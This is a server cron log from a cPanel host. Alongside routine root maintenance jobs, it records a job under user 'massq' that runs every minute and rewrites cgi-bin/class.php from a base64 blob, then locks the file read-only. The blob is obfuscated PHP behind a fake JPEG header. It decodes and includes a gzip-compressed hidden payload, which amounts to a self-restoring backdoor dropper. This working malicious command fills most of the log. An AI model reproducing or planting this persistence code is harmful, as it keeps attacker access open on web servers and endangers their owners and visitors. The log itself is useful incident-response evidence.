Sep  6 15:47:01 server CROND[21967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:47:01 server CROND[21968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:48:01 server CROND[22454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:48:01 server CROND[22455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:48:01 server CROND[22456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:49:01 server CROND[22958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:49:01 server CROND[22959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:49:01 server CROND[22960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:50:01 server CROND[23367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:50:01 server CROND[23370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:50:01 server CROND[23371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:50:01 server CROND[23376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:50:01 server CROND[23380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:50:01 server CROND[23381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:50:01 server CROND[23374]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:50:01 server CROND[23377]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 15:50:01 server CROND[23375]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:51:01 server CROND[24197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:51:01 server CROND[24198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:51:01 server CROND[24199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:52:01 server CROND[24579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:52:01 server CROND[24580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:52:01 server CROND[24581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:53:01 server CROND[25043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:53:01 server CROND[25044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:53:01 server CROND[25045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:54:01 server CROND[25413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:54:01 server CROND[25414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:54:01 server CROND[25415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:55:01 server CROND[25787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:55:01 server CROND[25793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:55:01 server CROND[25796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:55:01 server CROND[25797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:55:01 server CROND[25795]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:55:01 server CROND[25799]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:55:01 server CROND[25800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:56:01 server CROND[26612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:56:01 server CROND[26613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:56:01 server CROND[26615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:57:01 server CROND[26986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:57:01 server CROND[26987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:57:01 server CROND[26988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:57:01 server CROND[26989]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 15:58:01 server CROND[27354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:58:01 server CROND[27355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:58:01 server CROND[27356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
